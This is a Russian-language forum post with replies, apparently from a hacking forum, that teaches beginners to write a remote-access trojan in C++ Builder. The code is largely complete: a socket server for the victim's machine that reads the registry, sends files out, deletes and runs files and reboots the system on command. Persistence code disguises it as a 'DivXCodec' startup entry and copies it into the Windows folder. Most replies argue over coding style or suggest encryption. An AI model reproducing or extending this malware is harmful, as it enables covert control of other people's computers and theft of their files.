Итак, я хочу представить Вашему вниманию самый ламерский и простенький троян на С++. Те, кто только начинают писать, внимательно следите. Самый простой троян, как правило, состоит из 2 частей. Одна часть должна всегда оставаться у вас. Эта часть называется пользовательская. Вторая часть должна быть отправлена жертве, то есть тому кого мы с вами будем заражать. Эта часть называется серверной. Во время написания будем использовать два компонента Оба стандартные: TClientSocket и TServerSocket. Часть для пользователя пренебрежительно мала Ведь на самом деле ничего кроме отсылки команд и приема ответов от сервера она делать и не должна. Для приема ответов просто создадим поле TMemo и добавим обработчик события OnRead нашего компонента TClientSocket: Code: void __fastcall TForm1::TrojControllerRead(TObject *Sender, TCustomWinSocket *Socket) { Memo2->Lines->Add(Socket->ReceiveText()); } Теперь предстоит самое сложное. Нам с вами надо написать основную(Серверную) часть. TServerSocket помещается на форму один, потому что визуально троян не оформляется. Инициализацию его проведем в функции FormCreate(). Хотя можно было бы просто прописать 2 параметра в Object Inspector. Code: void __fastcall TForm1::FormCreate(TObject *Sender) { // ServSckt - наш компонент TServerSocket ServSckt->Port = 4321; ServSckt->Active = true; } ============================================== Итак мы только что указали порт ^^^^ Активация сокета была произведена параллельно. Теперь надо сделать обработку, чтобы проиизводилось получение данных сокетом. Для осуществеления я делал обработку ClientRead: Code: void __fastcall TForm1::ServScktClientRead(TObject *Sender, TCustomWinSocket *Socket) { RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей // информации, которую передаем как параметр этой функции } //--------------------------------------------------------------------------- // собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =) void TForm1::RecCommand (String received) { int cn; TTrojanUtilites Utilz; // создаем объект наших утилит Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас // находится на форме, а TTrojanUtilites не имеет никакого отношения // к форме. Просто передаем указатель на TServerSocket String temp; temp=received; temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды cn = StrToInt(temp); // преобразуем в число received.Delete(1,1); // удаляем код команды - остаются одни параметры switch (cn) { // в соответсвии с полученой командой // запускаем соотвествующую утилиту case 1 : Utilz.RestartMachine(); break; // перезагрузка case 2 : Utilz.WriteRegistry(received); break; // запись в реестр case 3 : Utilz.ReadRegistry(received); break; // чтение реестра case 4 : Utilz.SendFile(received); break; // чтение файла case 5 : Utilz.DeleteFile(received); break; // удаление файла case 6 : Utilz.ExecuteFile(received); break; // запуск файла case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM case 8 : Utilz.HideMouse(); break; // прячем курсор мыши case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши default: SendMsgToClient("Неправильная команда!") ; // команда недопустима // пост клиенту } } ======================================= ^^тут вы увидели что мы пишем высокий класс трояна то есть TTrojanUtilites Code: void TTrojanUtilites::OpenCloseCD() { TMCI_Open_Parms OpenParm; TMCI_Generic_Parms GenParm; TMCI_Set_Parms SetParm; Cardinal DI; OpenParm.dwCallback = 0; OpenParm.lpstrDeviceType = "CDAudio"; mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, Longint(&OpenParm)); DI = OpenParm.wDeviceID; if (!CDROMOPEN) { mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_OPEN, Longint(&SetParm)); CDROMOPEN = true; // открыть } else { mciSendCommand(DI, MCI_SET, MCI_SET_DOOR_CLOSED, Longint(&SetParm)); CDROMOPEN = false; // закрыть } mciSendCommand(DI, MCI_CLOSE, MCI_NOTIFY, Longint(&GenParm)); Sock->Socket->Connections[0]->SendText("Выполнено открытие/закрытие CD-ROM"); } Reload Code: void TTrojanUtilites::RestartMachine() { if (ExitWindowsEx(EWX_FORCE,0) || ExitWindowsEx(EWX_REBOOT,0)); Sock->Socket->Connections[0]->SendText("Reload Complete"); } потом идет Code: void TTrojanUtilites::SendFile(String F) { TStringList* TTSL=new (TStringList); TStringList* TTSL2=new (TStringList); int n, i; TTSL->Text = F; if (!FileExists(TTSL->Strings[0])) { Sock->Socket->Connections[0]->SendText("Файл не существует."); return; } TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList n = TTSL2->Count; // получаем число строк в файле if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту } Вроде тут и объяснять нечего. void TTrojanUtilites::ReadRegistry(ShortString k) { TRegistry* reg=new TRegistry; String res, ts; TStringList* TTSL=new TStringList; HKEY k1; // параметры передаются в следующем порядке: //// 0 - root key //// 1 - key name //// 2 - value name //// 3 - value //// 4 - type of value TTSL->Text = k; ts = TTSL->Strings[0]; // выбираем RootKey if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT; if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER; if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE; if (ts == "HKEY_USERS") k1 = HKEY_USERS; if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG; reg->RootKey = k1; reg->OpenKey(TTSL->Strings[1], true); // открываем раздел ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа if (ts == "Bool") // двоичный (REG_BINARY) if (reg->ReadBool(TTSL->Strings[2])) res = "true"; else res = "false"; if (ts == "Integer") // числовой (REG_DWORD) res = IntToStr(reg->ReadInteger(TTSL->Strings[2])); if (ts == "String") // строковый (REG_SZ) res = reg->ReadString(TTSL->Strings[2]); Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res); // передаем клиенту значение параметра } ============================================== ТЕПЕРЬ ИДЕТ ВАЖНАЯ ШТУКА) эта функция позволяет препятствовать мнгновенному удалению трояна ***сразу скажу в ней я могу запутатьсяно все равно Code: int res; SHFILEOPSTRUCT fo; ZeroMemory(&fo, sizeof(fo)); fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога fo.pFrom = pszFullPath; //путь fo.wFunc = FO_DELETE; fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление res = SHFileOperation(&fo); Теперь остался последний шаг - автозагрузка трояна Сделать довольно легко Code: void __fastcall TForm1::FormCreate(TObject *Sender) { ServSckt->Port = 4321; ServSckt->Active = true; Utilz.Sock=ServSckt; Utilz.CDROMOPEN=false; String WinDir; char WinDir1[144]; GetWindowsDirectory(WinDir1,144); WinDir=WinDir1; // папка с установленными виндами String data; TRegistry *pReg = new TRegistry; pReg->RootKey=HKEY_LOCAL_MACHINE; pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true); data=pReg->ReadString("DivXCodec"); if (data != Application->ExeName) //если нашу программу стерли из // автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела) pReg->WriteString("DivXCodec",WinDir+"\task16man.exe"); //добавляем ее по новой if (Application->ExeName!=WinDir+"\task16man.exe") //если файл запустили 1ый раз { if (!FileExists(WinDir+"\task16man.exe")) { String dest=WinDir+"\task16man.exe"; BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str()); // переписываем файл к виндам ServSckt->Active = false; ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его Application->Terminate(); // это приложение закрываем } else Application->Terminate(); // я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз // запустили и им подобных, додумайте сами =) } else { ServSckt->Port = 4321; ServSckt->Active = true; String data; TRegistry *pReg = new TRegistry; pReg->RootKey=HKEY_LOCAL_MACHINE; pReg->OpenKey("\Software\Microsoft\Windows\CurrentVersion\Run", true); data=pReg->ReadString("DivXCodec"); if (data != Application->ExeName) // не дай бог стерли! pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад } } ТРОЯН написан Теперь от меня важный вопрос Когда идет запись в реестр для булевского значения(цифры) используется WriteBool(TTSL->Strings[2], false); ? если нет, то в коде есть ошибка( И проверьте у меня пожалуйста код функции который не удаляет троян сразу, а то мне кажется что есть ошибка но найти не получаецо(
Ууууу... Трояны на Vcl, вот это бред. Понимаешь, это всеравно что орать на улице во все горло, что ты идиот. Ничего личного, просто сравнение.
Смысл выкладывать непроработанный материал насчет ошибок,отладчик тебе в помощь... тема [:]|||||[:] Надеюсь не раджи плюсиков писал =]
Те кто только начинает писать, не смотрите даже, чему людей учите - непонятно.. Конечно, умный человек сделает для себя правильный выбор, однако время потеряет, прежде чем поймет весь смысл этого изврата под названием VCL и прочих либ "сделай быстро".
Piflit, не ну давайте еще на вижуал бейсике трояны писать. Сделать формочку "Отправить пароли", чтобы пользователь выбрал пароли, с которыми хочет расстаться, и нажал "отправить хеккеру". Такой же бред как и трояны на VCL ...
А в чем проблема? Сказал так как будто для этого нужно быть гением. Конечно это посложнее чем готовые либы, но не всегда легкий путь - правильный.
Гм... Borland Builder C++ рулит Выходит троян не на класическом С++ (MS), а почти на Delphi технологиях... P.S. а так ни че, главное что *+*+*R@st1k*+*+* старался и познавал новое... Для новичка главное чтобы работало
Ребят, вы че все? Обычный простой всем понятный троян) Для некоторых этот "бред" может послужить первым шагом уже к winapi ) "бред" это для вас, уже познавших античат и знающих номнооого больше в целом чем начинающие кодеры
3 года назад я такой же написал, нолько на Делфи. В школе прикалывался над одноклассниками )) А эта статья как для новичка сойдет!
*+*+*R@st1k*+*+* Да все ок, постарался, плюсеков получил, да и сам опыта набрался! Нормальная статья плюсек прилогается
Хех хотел бы тебе кео что посоветовать =/ 1. юзай xor шифрование... хоть как-то по хэккерски. 2. Принцип отправки комманды... Зачем тратить трафик? ( ) юзай костатнты типа const int cmdSysMsg = 0; int cmdFTPaction = 1; и пересылать их и аргументы... =/ имхо и вообще для пересылки комманды можно юзать udp 3. с ClientSocket, ServerSocket можно и без VCL работать =/ в плане не подключать модуль Forms самый весомый модуль =/ *гемаглабин я еще жить хочу...
to "inv " - "Это не хакерский форум,хотя многие думают иначе.." на самом деле хакерских форумов нету __) есть тока те где спецы делают копи пасте )))
"а что ты предлагаешь? сразу winapi?" а как инече на то их и придумали ))) нада еще свое что - то писать какой нить базонезависимый код (функцыя или проца) а эта байда с формой и кнопочками и прочими приколами лутше оставить при себе если харашо присмотрется все то делфи на 70 % обращается на Windows Application Interface (WinAPI)так что зачем обращатся через посередник (те самые в делфях класы тупые или еще лутше тормознутые string тип память уже выделенная и тому подобное =) ) и еще к тому же размер и производительность ни в какие рамки не падает бред это все !!!
Это здесь причем? Если мне нужен троян под windows - я пишу троян под windows. Да уж, у тебя явные проблемы с излаганием своих мыслей. Понимаешь, если мне нужен gui, я делаю его, если нет, то не делаю. Дельфи?? Я то думал библиотека VCL является оберткой, чтож теперь буду знать что это вина языка. Из этого предложения почти ничего не понял, из того что понял сделал вывод, что дельфи имеет тупые классы, а под string так и вообще память выделяется(!) Ладно хоть сам признал, что все что написал полный бред.
А по твоему предыдущему сообщению можно сделать вывод что ты и говорить нормально не умеешь. Скажи мне тогда в чем я не прав?